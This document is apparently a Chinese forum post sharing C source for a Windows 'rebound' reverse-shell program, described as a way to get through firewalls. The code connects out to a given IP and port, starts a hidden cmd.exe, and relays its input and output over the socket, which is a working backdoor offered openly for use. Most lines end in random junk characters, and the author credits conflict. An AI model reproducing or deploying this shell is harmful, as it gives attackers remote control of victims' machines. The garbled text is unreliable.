这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ?Q3~n ^
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/* ============================== '5U$`Xe1
Rebound port in Windows NT 0?xiG SZV
By wind,2006/7 C#&6p0U
===============================*/ )''wu\7A)'
#include 7nz+n#
#include
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#pragma comment(lib,"wsock32.lib") Ekme62Q>u
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void OutputShell(); l%(`<a]VIB
SOCKET sClient; ~bTae =FP
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; EiN)TB^]
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void main(int argc,char **argv) eF^"{a3b
{ k)V%.Eobf
WSADATA stWsaData; {7>CA'>
int nRet; _vV&4>
SOCKADDR_IN stSaiClient,stSaiServer; b6vYM_ Q
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if(argc != 3) dJ:x1j
{ q{/Jw"e
printf("Useage:\n\rRebound DestIP DestPort\n"); sC_UalOC_
return; -==qMrKP
} ~<-
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WSAStartup(MAKEWORD(2,2),&stWsaData); v-fi9$#^
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B8AzN9v&"N
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stSaiClient.sin_family = AF_INET; 4F,Ql"ae(
stSaiClient.sin_port = htons(0); mv*T=N8fC
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 7EP|X.
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) p
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{ :n9xH
printf("Bind Socket Failed!\n"); SWjQ.aM
return; K6{bYho
} |8c:+8
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stSaiServer.sin_family = AF_INET; A1QI4.K
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); CQzjCRS
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); RC{Z)M{~
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Bd9hf`%2
{ #} ~p^ 0
printf("Connect Error!"); CQjZAv
return; n R\n\
} "Z 2Tc)
OutputShell(); Cld<D5\|f+
} *e3L4 7"G
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void OutputShell() uOl(-Zq@
{ [Ba2b: l6v
char szBuff[1024]; @?3vRs}h
SECURITY_ATTRIBUTES stSecurityAttributes; |5~wwL@LW7
OSVERSIONINFO stOsversionInfo; ,t%CK!8
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ?D(FNd
STARTUPINFO stStartupInfo; `[@^m5?b-
char *szShell; `Ixs7{&jU
PROCESS_INFORMATION stProcessInformation; &cu] vw
unsigned long lBytesRead; +t>*l>[
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }*.:Hv"
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); [T 4 pgt'H
stSecurityAttributes.lpSecurityDescriptor = 0; 'Gl;Ir^
stSecurityAttributes.bInheritHandle = TRUE; ]D{c4)\7C|
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); niYz9YX
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); xHv|ca.E
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ,TF<y#wed
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Kd/[Bs%
stStartupInfo.wShowWindow = SW_HIDE; rT f lk
stStartupInfo.hStdInput = hReadPipe; Mu'^OX82
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 56Sh
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GetVersionEx(&stOsversionInfo); 66~e~F}z
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switch(stOsversionInfo.dwPlatformId) 1 [fo'M
{ uX<+hG.n}
case 1: oUQGLl!V
szShell = "command.com"; _x\-!&[p
break; X)Dqeb6
default: YKP=0 j3,
szShell = "cmd.exe"; /&D'V_Q`*
break; >oft :7p
} Z!wD~C"D73
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ;JOD!|
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send(sClient,szMsg,77,0); fDU+3b
while(1) s.^c..e75C
{
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); x1Nme%%&
if(lBytesRead) s8t f@H4r
{ EvwbhvA(
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); M0O>Ljo4RN
send(sClient,szBuff,lBytesRead,0); `GvA241
} Rr+qgt;f5
else cwu$TP A>
{ ;c>>$lr
lBytesRead=recv(sClient,szBuff,1024,0); t-!Rgg$9
if(lBytesRead<=0) break; gWFL
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); nHSTeFI?
} o*%3[HmV
} &bB6}H(
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return; 'oC$6l'rQ
}